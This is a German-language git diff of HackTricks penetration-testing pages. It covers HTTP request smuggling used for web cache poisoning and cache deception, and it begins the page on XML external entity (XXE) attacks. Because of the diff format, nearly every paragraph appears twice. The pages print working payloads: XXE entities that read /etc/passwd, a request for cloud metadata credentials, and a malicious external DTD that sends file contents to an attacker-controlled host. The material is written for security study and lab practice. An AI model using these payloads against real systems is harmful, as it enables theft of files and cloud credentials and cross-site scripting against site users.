Web-Cache-Vergiftung kann durchgeführt werden, wenn ein beliebiger Bestandteil der **Front-End-Infrastruktur Inhalte zwischenspeichert**, in der Regel zur Leistungssteigerung. Durch Manipulation der Serverantwort ist es möglich, den **Cache zu vergiften**.
Zuvor haben wir gesehen, wie Serverantworten so verändert werden können, dass sie einen 404-Fehler zurückgeben (siehe [Grundlegende Beispiele](./#basic-examples)). Ähnlich ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Dadurch wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, was dazu führt, dass `/static/include.js` für Benutzer nicht mehr zugänglich ist und potenziell zu einem Denial-of-Service (DoS) führt.
Zuvor haben wir beobachtet, wie Serverantworten so verändert werden konnten, dass ein 404-Fehler zurückgegeben wird (siehe [Grundlegende Beispiele](./#basic-examples)). Ebenso ist es möglich, den Server dazu zu bringen, den Inhalt von `/index.html` als Antwort auf eine Anfrage nach `/static/include.js` zu liefern. Folglich wird der Inhalt von `/static/include.js` im Cache durch den von `/index.html` ersetzt, wodurch `/static/include.js` für Benutzer unzugänglich wird und möglicherweise zu einem Denial-of-Service (DoS) führt.
Diese Technik wird besonders wirksam, wenn eine **Open-Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Weiterleitung vor Ort zu einem Open-Redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen und somit einen weit verbreiteten Cross-Site-Scripting (XSS)-Angriff gegen alle Clients durchzuführen, die das aktualisierte `/static/include.js` anfordern.
Diese Technik wird besonders wirksam, wenn eine **Open-Redirect-Schwachstelle** entdeckt wird oder wenn es eine **Weiterleitung vor Ort zu einem offenen Redirect** gibt. Solche Schwachstellen können ausgenutzt werden, um den zwischengespeicherten Inhalt von `/static/include.js` durch ein Skript unter der Kontrolle des Angreifers zu ersetzen, was im Wesentlichen einen weit verbreiteten Cross-Site-Scripting (XSS)-Angriff gegen alle Clients ermöglicht, die das aktualisierte `/static/include.js` anfordern.
Nachfolgend ist eine Darstellung der Ausnutzung der **Cache-Vergiftung in Kombination mit einer Weiterleitung vor Ort zu einem Open-Redirect** dargestellt. Das Ziel besteht darin, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code, der von dem Angreifer kontrolliert wird, bereitgestellt wird:
Im Folgenden ist eine Darstellung der Ausnutzung der **Cache-Vergiftung in Kombination mit einer Weiterleitung vor Ort zu einem offenen Redirect**. Das Ziel ist es, den Cache-Inhalt von `/static/include.js` so zu ändern, dass JavaScript-Code, der vom Angreifer kontrolliert wird, bereitgestellt wird:
```
POST / HTTP/1.1
Host: vulnerable.net
@ -520,19 +460,18 @@ Content-Length: 10
x=1
```
Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der Wert des **Host-Headers** verwendet wird, um die Domain zu bestimmen. Durch Ändern des **Host-Headers** kann der Angreifer die Anfrage auf ihre eigene Domain umleiten (**On-Site-Weiterleitung zu Open Redirect**).
Beachten Sie die eingebettete Anfrage, die auf `/post/next?postId=3` abzielt. Diese Anfrage wird auf `/post?postId=4` umgeleitet, wobei der **Host-Header-Wert** verwendet wird, um die Domain zu bestimmen. Durch Ändern des **Host-Headers** kann der Angreifer die Anfrage auf ihre Domain umleiten (**On-Site-Weiterleitung zu Off-Site-Weiterleitung**).
Nach erfolgreichem **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **On-Site-Weiterleitung zu Open Redirect**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
Anschließend wird jede Anfrage für `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers liefern und somit einen umfassenden XSS-Angriff starten.
Nach erfolgreichem **Socket-Poisoning** sollte eine **GET-Anfrage** für `/static/include.js` initiiert werden. Diese Anfrage wird durch die vorherige **On-Site-Weiterleitung zu Off-Site-Weiterleitung**-Anfrage kontaminiert und ruft den Inhalt des vom Angreifer kontrollierten Skripts ab.
Anschließend wird jede Anfrage nach `/static/include.js` den zwischengespeicherten Inhalt des Skripts des Angreifers bedienen und so einen umfassenden XSS-Angriff starten.
### Verwendung von HTTP-Request-Smuggling zur Durchführung von Web-Cache-Täuschung <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **Was ist der Unterschied zwischen Web-Cache-Poisoning und Web-Cache-Täuschung?**
>
> * Bei **Web-Cache-Poisoning** veranlasst der Angreifer die Anwendung, bestimmte bösartige Inhalte im Cache zu speichern, die dann anderen Anwendungsbenutzern aus dem Cache bereitgestellt werden.
> * Bei **Web-Cache-Täuschung** veranlasst der Angreifer die Anwendung, bestimmte sensible Inhalte eines anderen Benutzers im Cache zu speichern und ruft diese Inhalte dann aus dem Cache ab.
> * Bei **Web-Cache-Poisoning** veranlasst der Angreifer die Anwendung, einige bösartige Inhalte im Cache zu speichern, die dann anderen Anwendungsbenutzern aus dem Cache bereitgestellt werden.
> * Bei **Web-Cache-Täuschung** veranlasst der Angreifer die Anwendung, einige sensible Inhalte eines anderen Benutzers im Cache zu speichern, und der Angreifer ruft dann diese Inhalte aus dem Cache ab.
Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifische Inhalte abruft. Betrachten Sie das folgende Beispiel:
```markdown
@ -545,17 +484,17 @@ Der Angreifer erstellt eine geschmuggelte Anfrage, die sensible benutzerspezifis
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
Wenn dieser geschmuggelte Request einen Cache-Eintrag vergiftet, der für statischen Inhalt vorgesehen ist (z. B. `/someimage.png`), könnten die sensiblen Daten des Opfers aus `/private/messages` unter dem Cache-Eintrag des statischen Inhalts zwischengespeichert werden. Infolgedessen könnte der Angreifer diese zwischengespeicherten sensiblen Daten potenziell abrufen.
Wenn dieser geschmuggelte Request einen Cache-Eintrag vergiftet, der für statische Inhalte vorgesehen ist (z. B. `/someimage.png`), könnten die sensiblen Daten des Opfers aus `/private/messages` unter dem Cache-Eintrag des statischen Inhalts zwischengespeichert werden. Folglich könnte der Angreifer diese zwischengespeicherten sensiblen Daten potenziell abrufen.
### Bewaffnung von HTTP Request Smuggling mit HTTP Response Desynchronisation
### Bewaffnung von HTTP-Request-Smuggling mit HTTP-Response-Desynchronisation
Haben Sie eine HTTP Request Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Probieren Sie diese andere Methode der Ausnutzung aus:
Haben Sie eine HTTP-Request-Smuggling-Schwachstelle gefunden und wissen nicht, wie Sie sie ausnutzen können? Versuchen Sie diese andere Methode der Ausnutzung:
{% content-ref url="../http-response-smuggling-desync.md" %}
[http-response-smuggling-desync.md](../http-response-smuggling-desync.md)
{% endcontent-ref %}
## Turbo Intruder-Skripte
## Turbo-Intruder-Skripte
### CL.TE
@ -648,7 +587,8 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Werkzeug ist ein auf Grammatik basierender HTTP Fuzzer, der nützlich ist, um seltsame Anomalien beim Request Smuggling zu finden.
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Dieses Tool ist ein auf Grammatik basierender HTTP Fuzzer, der nützlich ist, um seltsame Anomalien beim Request-Smuggling zu finden.
## Referenzen
@ -662,14 +602,14 @@ table.add(req)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>

331
pentesting-web/xxe-xee-xml-external-entity.md
View file

@ -2,43 +2,37 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repositories senden.**
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositorys einreichen.
</details>
## XML-Grundlagen
XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport von Daten entwickelt wurde. Sie zeichnet sich durch eine flexible Struktur aus, die die Verwendung von beschreibend benannten Tags ermöglicht. Im Gegensatz zu HTML ist XML nicht auf eine Reihe vordefinierter Tags beschränkt. Die Bedeutung von XML hat mit dem Aufstieg von JSON abgenommen, obwohl es ursprünglich eine Rolle in der AJAX-Technologie spielte.
- **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich Sonderzeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
- **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die festlegen, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten können, von beliebigem Inhalt bis hin zu spezifischen Unterelementen.
- **Document Type Definition (DTD)**: DTDs sind in XML entscheidend, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder in Kombination sein und bestimmen, wie Dokumente formatiert und validiert werden.
- **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD zur flexiblen Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Zusammenhang mit XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen verarbeiten: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers fehlschlagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken wie das Auslösen von DNS-Lookups oder HTTP-Anfragen an eine kontrollierte Domäne, um die Schwachstelle zu bestätigen.
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
XML ist eine Auszeichnungssprache, die für die Speicherung und den Transport von Daten entwickelt wurde und eine flexible Struktur aufweist, die die Verwendung von beschreibend benannten Tags ermöglicht. Es unterscheidet sich von HTML, da es nicht auf eine Reihe vordefinierter Tags beschränkt ist. Die Bedeutung von XML hat mit dem Aufstieg von JSON abgenommen, trotz seiner ursprünglichen Rolle in der AJAX-Technologie.
* **Datenrepräsentation durch Entitäten**: Entitäten in XML ermöglichen die Darstellung von Daten, einschließlich Sonderzeichen wie `&lt;` und `&gt;`, die `<` und `>` entsprechen, um Konflikte mit dem Tag-System von XML zu vermeiden.
* **Definition von XML-Elementen**: XML ermöglicht die Definition von Elementtypen, die beschreiben, wie Elemente strukturiert sein sollten und welchen Inhalt sie enthalten können, von beliebigem Inhalt bis zu spezifischen Unterelementen.
* **Document Type Definition (DTD)**: DTDs sind in XML entscheidend, um die Struktur des Dokuments und die Arten von Daten, die es enthalten kann, zu definieren. Sie können intern, extern oder eine Kombination sein und zeigen, wie Dokumente formatiert und validiert werden.
* **Benutzerdefinierte und externe Entitäten**: XML unterstützt die Erstellung benutzerdefinierter Entitäten innerhalb einer DTD zur flexiblen Datenrepräsentation. Externe Entitäten, die mit einer URL definiert sind, werfen Sicherheitsbedenken auf, insbesondere im Zusammenhang mit XML External Entity (XXE)-Angriffen, die die Art und Weise ausnutzen, wie XML-Parser externe Datenquellen verarbeiten: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **XXE-Erkennung mit Parameterentitäten**: Zur Erkennung von XXE-Schwachstellen, insbesondere wenn herkömmliche Methoden aufgrund von Sicherheitsmaßnahmen des Parsers versagen, können XML-Parameterentitäten verwendet werden. Diese Entitäten ermöglichen Out-of-Band-Erkennungstechniken, wie das Auslösen von DNS-Lookups oder HTTP-Anfragen an eine kontrollierte Domain, um die Schwachstelle zu bestätigen.
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## Hauptangriffe
**[Die meisten dieser Angriffe wurden mit den großartigen Portswiggers XEE-Labs getestet: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
[**Die meisten dieser Angriffe wurden mit den großartigen Portswiggers XEE-Labors getestet: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### Neuer Entitäts-Test
### Neuer Entitätstest
Bei diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration funktioniert
In diesem Angriff werde ich testen, ob eine einfache neue ENTITÄTSdeklaration funktioniert.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
@ -47,13 +41,11 @@ Bei diesem Angriff werde ich testen, ob eine einfache neue ENTITY-Deklaration fu
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)
### Datei lesen
Versuchen wir, die Datei `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könntest du versuchen, folgendes zu lesen: `C:\windows\system32\drivers\etc\hosts`
Lassen Sie uns versuchen, die Datei `/etc/passwd` auf verschiedene Arten zu lesen. Für Windows könnten Sie versuchen, die Datei zu lesen: `C:\windows\system32\drivers\etc\hosts`
In diesem ersten Fall beachte, dass SYSTEM "_\*\*file:///\*\*etc/passwd_" ebenfalls funktioniert.
In diesem ersten Fall beachten Sie, dass SYSTEM "_\*\*file:///\*\*etc/passwd_" auch funktionieren wird.
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@ -61,13 +53,13 @@ In diesem ersten Fall beachte, dass SYSTEM "_\*\*file:///\*\*etc/passwd_" ebenfa
```
![](<../.gitbook/assets/image (221).png>)
Dieser zweite Fall kann nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (nicht der Fall bei Portswiggers Labs).
Dieser zweite Fall sollte nützlich sein, um eine Datei zu extrahieren, wenn der Webserver PHP verwendet (Nicht der Fall von Portswiggers Labs)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
Im dritten Fall beachten wir, dass wir das Element `stockCheck` als ANY deklarieren.
Im dritten Fall fällt auf, dass wir das `Element stockCheck` als ANY deklarieren.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -83,7 +75,7 @@ Im dritten Fall beachten wir, dass wir das Element `stockCheck` als ANY deklarie
### Verzeichnis auflisten
In Java-basierten Anwendungen ist es möglicherweise möglich, den Inhalt eines Verzeichnisses über XXE aufzulisten, indem man eine Payload wie folgt verwendet (nur nach dem Verzeichnis fragen anstelle der Datei):
In **Java**-basierten Anwendungen ist es möglicherweise möglich, **den Inhalt eines Verzeichnisses** über XXE aufzulisten, indem Sie ein Payload wie den folgenden verwenden (nur nach dem Verzeichnis anstelle der Datei fragen):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -93,7 +85,7 @@ In Java-basierten Anwendungen ist es möglicherweise möglich, den Inhalt eines
```
### SSRF
Ein XXE kann verwendet werden, um eine SSRF in einer Cloud zu missbrauchen.
Ein XXE könnte verwendet werden, um einen SSRF in einer Cloud zu missbrauchen
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
@ -101,7 +93,7 @@ Ein XXE kann verwendet werden, um eine SSRF in einer Cloud zu missbrauchen.
```
### Blind SSRF
Mit der zuvor kommentierten Technik können Sie den Server dazu bringen, auf einen von Ihnen kontrollierten Server zuzugreifen, um seine Verwundbarkeit aufzuzeigen. Wenn dies jedoch nicht funktioniert, liegt es möglicherweise daran, dass XML-Entitäten nicht erlaubt sind. In diesem Fall könnten Sie versuchen, XML-Parameterentitäten zu verwenden:
Durch Verwendung der **zuvor kommentierten Technik** können Sie den Server dazu bringen, auf einen von Ihnen kontrollierten Server zuzugreifen, um dessen Verwundbarkeit aufzuzeigen. Wenn das nicht funktioniert, liegt es möglicherweise daran, dass **XML-Entitäten nicht erlaubt sind**. In diesem Fall könnten Sie versuchen, **XML-Parameterentitäten** zu verwenden:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -109,11 +101,12 @@ Mit der zuvor kommentierten Technik können Sie den Server dazu bringen, auf ein
```
### "Blind" SSRF - Daten außerhalb des Bandes exfiltrieren
**In diesem Fall werden wir den Server dazu bringen, eine neue DTD mit einer bösartigen Nutzlast zu laden, die den Inhalt einer Datei über einen HTTP-Request sendet (für mehrzeilige Dateien könnten Sie versuchen, sie über** _**ftp://**_** zu exfiltrieren). Diese Erklärung basiert auf dem** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
**In diesem Fall lassen wir den Server eine neue DTD mit einer bösartigen Nutzlast laden, die den Inhalt einer Datei über einen HTTP-Request sendet (**für **mehrzeilige Dateien könnten Sie versuchen, sie über** _**ftp://**_ **auszuleiten, indem Sie diesen einfachen Server verwenden, zum Beispiel [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Diese Erklärung basiert auf** [**Portswiggers Lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
In der gegebenen bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:
In der bösartigen DTD werden eine Reihe von Schritten durchgeführt, um Daten zu exfiltrieren:
### Beispiel für bösartige DTD:
### Beispiel für eine bösartige DTD:
Die Struktur ist wie folgt:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
@ -123,36 +116,33 @@ Die Struktur ist wie folgt:
```
Die von dieser DTD ausgeführten Schritte umfassen:
1. **Definition von Parameter-Entitäten:**
- Eine XML-Parameter-Entität `%file` wird erstellt, die den Inhalt der Datei `/etc/hostname` liest.
- Eine weitere XML-Parameter-Entität `%eval` wird definiert. Sie deklariert dynamisch eine neue XML-Parameter-Entität `%exfiltrate`. Die `%exfiltrate`-Entität wird so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entität im Query-String der URL übergibt.
2. **Ausführung der Entitäten:**
- Die `%eval`-Entität wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entität führt.
- Die `%exfiltrate`-Entität wird dann verwendet, um eine HTTP-Anfrage an die angegebene URL mit dem Inhalt der Datei auszulösen.
1. **Definition von Parameter Entities:**
* Es wird eine XML-Parameter-Entity `%file` erstellt, die den Inhalt der Datei `/etc/hostname` liest.
* Eine weitere XML-Parameter-Entity `%eval` wird definiert. Sie deklariert dynamisch eine neue XML-Parameter-Entity `%exfiltrate`. Die `%exfiltrate`-Entity wird so eingestellt, dass sie eine HTTP-Anfrage an den Server des Angreifers sendet und den Inhalt der `%file`-Entity im Query-String der URL übergibt.
2. **Ausführung von Entities:**
* Die `%eval`-Entity wird verwendet, was zur Ausführung der dynamischen Deklaration der `%exfiltrate`-Entity führt.
* Anschließend wird die `%exfiltrate`-Entity verwendet, um eine HTTP-Anfrage an die angegebene URL mit den Dateiinhalten auszulösen.
Der Angreifer hostet diese bösartige DTD auf einem Server unter seiner Kontrolle, normalerweise unter einer URL wie `http://web-attacker.com/malicious.dtd`.
**XXE-Payload:**
Um eine verwundbare Anwendung auszunutzen, sendet der Angreifer ein XXE-Payload:
**XXE-Payload:** Um eine verwundbare Anwendung auszunutzen, sendet der Angreifer ein XXE-Payload:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Dieses Payload definiert eine XML-Parameter-Entity `%xxe` und bindet sie in die DTD ein. Wenn dieser Payload von einem XML-Parser verarbeitet wird, ruft er die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline und führt die in der bösartigen DTD beschriebenen Schritte aus, was zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers führt.
Diese Payload definiert eine XML-Parameterentität `%xxe` und bindet sie in die DTD ein. Wenn diese Payload von einem XML-Parser verarbeitet wird, ruft sie die externe DTD vom Server des Angreifers ab. Der Parser interpretiert dann die DTD inline, führt die in der bösartigen DTD beschriebenen Schritte aus und führt zur Exfiltration der Datei `/etc/hostname` auf den Server des Angreifers.
### Fehlerbasiert (Externe DTD)
**In diesem Fall laden wir eine bösartige DTD auf den Server, die den Inhalt einer Datei in einer Fehlermeldung anzeigt (dies ist nur gültig, wenn Fehlermeldungen angezeigt werden können).** [**Beispiel von hier.**](https://portswigger.net/web-security/xxe/blind)
**In diesem Fall werden wir den Server dazu bringen, eine bösartige DTD zu laden, die den Inhalt einer Datei in einer Fehlermeldung anzeigt (dies ist nur gültig, wenn Sie Fehlermeldungen sehen können).** [**Beispiel von hier.**](https://portswigger.net/web-security/xxe/blind)
Eine XML-Analysefehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann mithilfe einer bösartigen externen Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:
Eine XML-Analysierungsfehlermeldung, die den Inhalt der Datei `/etc/passwd` offenbart, kann durch eine bösartige externe Document Type Definition (DTD) ausgelöst werden. Dies wird durch die folgenden Schritte erreicht:
1. Eine XML-Parameter-Entity namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
2. Eine XML-Parameter-Entity namens `eval` wird definiert, die eine dynamische Deklaration für eine andere XML-Parameter-Entity namens `error` enthält. Diese `error`-Entity versucht beim Auswerten, eine nicht vorhandene Datei zu laden, wobei sie den Inhalt der `file`-Entity als Dateinamen verwendet.
3. Die `eval`-Entity wird aufgerufen, was zur dynamischen Deklaration der `error`-Entity führt.
4. Der Aufruf der `error`-Entity führt zu einem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.
1. Eine XML-Parameterentität namens `file` wird definiert, die den Inhalt der Datei `/etc/passwd` enthält.
2. Eine XML-Parameterentität namens `eval` wird definiert, die eine dynamische Deklaration für eine weitere XML-Parameterentität namens `error` enthält. Diese `error`-Entität versucht beim Auswerten, eine nicht vorhandene Datei zu laden, wobei sie den Inhalt der `file`-Entität als Namen verwendet.
3. Die `eval`-Entität wird aufgerufen, was zur dynamischen Deklaration der `error`-Entität führt.
4. Der Aufruf der `error`-Entität führt zu einem Versuch, eine nicht vorhandene Datei zu laden, was eine Fehlermeldung erzeugt, die den Inhalt der Datei `/etc/passwd` als Teil des Dateinamens enthält.
Die bösartige externe DTD kann mit dem folgenden XML aufgerufen werden:
```xml
@ -160,21 +150,19 @@ Die bösartige externe DTD kann mit dem folgenden XML aufgerufen werden:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
Bei der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalten, die den Inhalt der Datei `/etc/passwd` anzeigt.
Nach der Ausführung sollte die Antwort des Webservers eine Fehlermeldung enthalten, die den Inhalt der Datei `/etc/passwd` anzeigt.
![](<../.gitbook/assets/image (223) (1).png>)
_**Bitte beachten Sie, dass externe DTD es uns ermöglichen, eine Entität in die zweite (****`eval`****) einzuschließen, dies jedoch in der internen DTD verboten ist. Daher können Sie normalerweise keinen Fehler erzwingen, ohne eine externe DTD zu verwenden.**_
_**Bitte beachten Sie, dass externe DTD es uns ermöglichen, eine Entität innerhalb der zweiten (****`eval`****) einzuschließen, was jedoch in der internen DTD verboten ist. Daher können Sie keinen Fehler erzwingen, ohne eine externe DTD zu verwenden (normalerweise).**_
### **Fehlerbasiert (system DTD)**
### **Fehlerbasiert (System DTD)**
Was ist mit blinden XXE-Schwachstellen, wenn **Out-of-Band-Interaktionen blockiert sind** (externe Verbindungen nicht verfügbar sind)?.
Eine Lücke in der XML-Sprachspezifikation kann **sensible Daten über Fehlermeldungen offenlegen, wenn die DTD eines Dokuments interne und externe Deklarationen kombiniert**. Dieses Problem ermöglicht die interne Neudefinition von extern deklarierten Entitäten und erleichtert die Ausführung von fehlerbasierten XXE-Angriffen. Solche Angriffe nutzen die Neudefinition einer XML-Parameterentität, die ursprünglich in einer externen DTD deklariert wurde, innerhalb einer internen DTD. Wenn Out-of-Band-Verbindungen vom Server blockiert werden, müssen Angreifer auf lokale DTD-Dateien zurückgreifen, um den Angriff durchzuführen und einen Parsing-Fehler zu verursachen, um sensible Informationen offenzulegen.
